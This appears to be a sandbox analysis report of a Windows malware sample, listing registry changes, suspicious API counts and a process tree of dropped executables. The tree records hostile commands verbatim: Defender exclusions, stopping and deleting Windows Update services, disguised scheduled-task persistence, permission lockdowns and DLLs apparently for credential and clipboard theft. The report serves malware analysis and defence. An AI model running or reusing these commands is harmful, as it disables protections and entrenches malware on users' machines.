Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c0043465346160031000000000000000000100041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004100700070004400610074006100000042000000	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e003100000000008356b549100054656d7000003a0009000400efbe5456f9938356b5492e0000000000000000000000000000000000000000000000000001a8cb00540065006d007000000014000000	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

Explorer.EXE

pid process

2332 Explorer.EXE

pid	process
2332	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exeExplorer.EXE

pid	process
2132	38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe
2132	38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE
2332	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

2332 Explorer.EXE
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe427A.exe

pid process

2132 38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe
364 427A.exe

pid	process
2332	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEpowershell.exe

description	pid	process
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeShutdownPrivilege	2332	Explorer.EXE
Token: SeCreatePagefilePrivilege	2332	Explorer.EXE
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeIncreaseQuotaPrivilege	3852	powershell.exe
Token: SeSecurityPrivilege	3852	powershell.exe
Token: SeTakeOwnershipPrivilege	3852	powershell.exe
Token: SeLoadDriverPrivilege	3852	powershell.exe
Token: SeSystemProfilePrivilege	3852	powershell.exe
Token: SeSystemtimePrivilege	3852	powershell.exe
Token: SeProfSingleProcessPrivilege	3852	powershell.exe
Token: SeIncBasePriorityPrivilege	3852	powershell.exe
Token: SeCreatePagefilePrivilege	3852	powershell.exe
Token: SeBackupPrivilege	3852	powershell.exe
Token: SeRestorePrivilege	3852	powershell.exe
Token: SeShutdownPrivilege	3852	powershell.exe
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeSystemEnvironmentPrivilege	3852	powershell.exe
Token: SeRemoteShutdownPrivilege	3852	powershell.exe
Token: SeUndockPrivilege	3852	powershell.exe
Token: SeManageVolumePrivilege	3852	powershell.exe
Token: 33	3852	powershell.exe
Token: 34	3852	powershell.exe
Token: 35	3852	powershell.exe
Token: 36	3852	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

rundll32.exe

pid process

648 rundll32.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Explorer.EXE

pid process

2332 Explorer.EXE
2332 Explorer.EXE

pid	process
648	rundll32.exe

pid	process
2332	Explorer.EXE
2332	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXE25A8.exe282A.exe25A8.exe25A8.exe3DC6.exe3DC6.exe

description	pid	process	target process
PID 2332 wrote to memory of 2612	2332	Explorer.EXE	25A8.exe
PID 2332 wrote to memory of 2612	2332	Explorer.EXE	25A8.exe
PID 2332 wrote to memory of 2612	2332	Explorer.EXE	25A8.exe
PID 2332 wrote to memory of 2820	2332	Explorer.EXE	282A.exe
PID 2332 wrote to memory of 2820	2332	Explorer.EXE	282A.exe
PID 2332 wrote to memory of 2820	2332	Explorer.EXE	282A.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2612 wrote to memory of 3824	2612	25A8.exe	25A8.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 2820 wrote to memory of 4356	2820	282A.exe	282A.exe
PID 3824 wrote to memory of 1080	3824	25A8.exe	icacls.exe
PID 3824 wrote to memory of 1080	3824	25A8.exe	icacls.exe
PID 3824 wrote to memory of 1080	3824	25A8.exe	icacls.exe
PID 3824 wrote to memory of 2264	3824	25A8.exe	25A8.exe
PID 3824 wrote to memory of 2264	3824	25A8.exe	25A8.exe
PID 3824 wrote to memory of 2264	3824	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2264 wrote to memory of 1520	2264	25A8.exe	25A8.exe
PID 2332 wrote to memory of 4460	2332	Explorer.EXE	3DC6.exe
PID 2332 wrote to memory of 4460	2332	Explorer.EXE	3DC6.exe
PID 2332 wrote to memory of 4460	2332	Explorer.EXE	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 4460 wrote to memory of 3860	4460	3DC6.exe	3DC6.exe
PID 2332 wrote to memory of 364	2332	Explorer.EXE	427A.exe
PID 2332 wrote to memory of 364	2332	Explorer.EXE	427A.exe
PID 2332 wrote to memory of 364	2332	Explorer.EXE	427A.exe
PID 2332 wrote to memory of 4832	2332	Explorer.EXE	4402.exe
PID 2332 wrote to memory of 4832	2332	Explorer.EXE	4402.exe
PID 2332 wrote to memory of 4832	2332	Explorer.EXE	4402.exe
PID 3860 wrote to memory of 4836	3860	3DC6.exe	3DC6.exe
PID 3860 wrote to memory of 4836	3860	3DC6.exe	3DC6.exe
PID 3860 wrote to memory of 4836	3860	3DC6.exe	3DC6.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Deletes itself
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2332

C:\Users\Admin\AppData\Local\Temp\38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe
"C:\Users\Admin\AppData\Local\Temp\38f5b0f0838959b0bf68118948d122351c7c6b0552f685845020bff02b7ebc56.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2132

C:\Users\Admin\AppData\Local\Temp\25A8.exe
C:\Users\Admin\AppData\Local\Temp\25A8.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2612

C:\Users\Admin\AppData\Local\Temp\25A8.exe
C:\Users\Admin\AppData\Local\Temp\25A8.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3824

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\894c65ac-f2c8-4424-ac30-1256258b7b9a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
4⤵
- Modifies file permissions
PID:1080

C:\Users\Admin\AppData\Local\Temp\25A8.exe
"C:\Users\Admin\AppData\Local\Temp\25A8.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2264

C:\Users\Admin\AppData\Local\Temp\25A8.exe
"C:\Users\Admin\AppData\Local\Temp\25A8.exe" --Admin IsNotAutoStart IsNotTask
5⤵
- Executes dropped EXE
PID:1520

C:\Users\Admin\AppData\Local\5c850c06-b93e-432b-a8b1-930436d0dfe2\build2.exe
"C:\Users\Admin\AppData\Local\5c850c06-b93e-432b-a8b1-930436d0dfe2\build2.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3184

C:\Users\Admin\AppData\Local\5c850c06-b93e-432b-a8b1-930436d0dfe2\build2.exe
"C:\Users\Admin\AppData\Local\5c850c06-b93e-432b-a8b1-930436d0dfe2\build2.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4984

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\5c850c06-b93e-432b-a8b1-930436d0dfe2\build2.exe" & exit
8⤵
PID:4564

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
9⤵
- Delays execution with timeout.exe
PID:3464

C:\Users\Admin\AppData\Local\5c850c06-b93e-432b-a8b1-930436d0dfe2\build3.exe
"C:\Users\Admin\AppData\Local\5c850c06-b93e-432b-a8b1-930436d0dfe2\build3.exe"
6⤵
- Executes dropped EXE
PID:4292

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- Creates scheduled task(s)
PID:4196

C:\Users\Admin\AppData\Local\Temp\282A.exe
C:\Users\Admin\AppData\Local\Temp\282A.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2820

C:\Users\Admin\AppData\Local\Temp\282A.exe
C:\Users\Admin\AppData\Local\Temp\282A.exe
3⤵
- Executes dropped EXE
PID:4356

C:\Users\Admin\AppData\Local\Temp\282A.exe
"C:\Users\Admin\AppData\Local\Temp\282A.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4120

C:\Users\Admin\AppData\Local\Temp\282A.exe
"C:\Users\Admin\AppData\Local\Temp\282A.exe" --Admin IsNotAutoStart IsNotTask
5⤵
- Executes dropped EXE
PID:4912

C:\Users\Admin\AppData\Local\fff3559c-b623-4b10-8dbc-2089b49639b7\build2.exe
"C:\Users\Admin\AppData\Local\fff3559c-b623-4b10-8dbc-2089b49639b7\build2.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:312

C:\Users\Admin\AppData\Local\fff3559c-b623-4b10-8dbc-2089b49639b7\build2.exe
"C:\Users\Admin\AppData\Local\fff3559c-b623-4b10-8dbc-2089b49639b7\build2.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2572

C:\Users\Admin\AppData\Local\fff3559c-b623-4b10-8dbc-2089b49639b7\build3.exe
"C:\Users\Admin\AppData\Local\fff3559c-b623-4b10-8dbc-2089b49639b7\build3.exe"
6⤵
- Executes dropped EXE
PID:3480

C:\Users\Admin\AppData\Local\Temp\3DC6.exe
C:\Users\Admin\AppData\Local\Temp\3DC6.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4460

C:\Users\Admin\AppData\Local\Temp\3DC6.exe
C:\Users\Admin\AppData\Local\Temp\3DC6.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3860

C:\Users\Admin\AppData\Local\Temp\3DC6.exe
"C:\Users\Admin\AppData\Local\Temp\3DC6.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4836

C:\Users\Admin\AppData\Local\Temp\3DC6.exe
"C:\Users\Admin\AppData\Local\Temp\3DC6.exe" --Admin IsNotAutoStart IsNotTask
5⤵
- Executes dropped EXE
PID:2140

C:\Users\Admin\AppData\Local\5bef33e5-f481-42b1-8289-36353392afe1\build2.exe
"C:\Users\Admin\AppData\Local\5bef33e5-f481-42b1-8289-36353392afe1\build2.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3496

C:\Users\Admin\AppData\Local\5bef33e5-f481-42b1-8289-36353392afe1\build2.exe
"C:\Users\Admin\AppData\Local\5bef33e5-f481-42b1-8289-36353392afe1\build2.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4280

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\5bef33e5-f481-42b1-8289-36353392afe1\build2.exe" & exit
8⤵
PID:3832

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
9⤵
- Delays execution with timeout.exe
PID:1436

C:\Users\Admin\AppData\Local\5bef33e5-f481-42b1-8289-36353392afe1\build3.exe
"C:\Users\Admin\AppData\Local\5bef33e5-f481-42b1-8289-36353392afe1\build3.exe"
6⤵
- Executes dropped EXE
PID:656

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- Creates scheduled task(s)
PID:2920

C:\Users\Admin\AppData\Local\Temp\427A.exe
C:\Users\Admin\AppData\Local\Temp\427A.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:364

C:\Users\Admin\AppData\Local\Temp\4402.exe
C:\Users\Admin\AppData\Local\Temp\4402.exe
2⤵
- Executes dropped EXE
PID:4832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4832 -s 476
3⤵
- Program crash
PID:3236

C:\Users\Admin\AppData\Local\Temp\614F.exe
C:\Users\Admin\AppData\Local\Temp\614F.exe
2⤵
- Executes dropped EXE
PID:4304

C:\Users\Admin\AppData\Local\Temp\ss31.exe
"C:\Users\Admin\AppData\Local\Temp\ss31.exe"
3⤵
- Executes dropped EXE
PID:1404

C:\Users\Admin\AppData\Local\Temp\Player3.exe
"C:\Users\Admin\AppData\Local\Temp\Player3.exe"
3⤵
- Executes dropped EXE
PID:220

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
4⤵
- Executes dropped EXE
PID:2012

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
5⤵
- Creates scheduled task(s)
PID:2432

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
5⤵
PID:2592

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
6⤵
PID:4612

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
6⤵
PID:4244

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
6⤵
PID:5032

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
6⤵
PID:3608

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:N"
6⤵
PID:3732

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:R" /E
6⤵
PID:3780

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
5⤵
- Loads dropped DLL
PID:4744

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
6⤵
- Loads dropped DLL
PID:5048

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5048 -s 604
7⤵
- Program crash
PID:752

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
5⤵
- Loads dropped DLL
PID:5076

C:\Users\Admin\AppData\Local\Temp\XandETC.exe
"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
PID:4172

C:\Users\Admin\AppData\Local\Temp\73BF.exe
C:\Users\Admin\AppData\Local\Temp\73BF.exe
2⤵
- Executes dropped EXE
PID:4716

C:\Users\Admin\AppData\Local\Temp\Player3.exe
"C:\Users\Admin\AppData\Local\Temp\Player3.exe"
3⤵
- Executes dropped EXE
PID:3968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 1436
3⤵
- Program crash
PID:4820

C:\Users\Admin\AppData\Local\Temp\D141.exe
C:\Users\Admin\AppData\Local\Temp\D141.exe
2⤵
- Executes dropped EXE
PID:1436

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Uieiuateoq.dll,start
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Checks processor information in registry
PID:2604

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19202
4⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
PID:648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3852

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:3496

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:404

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:212

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:168

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1644

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:260

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:2920

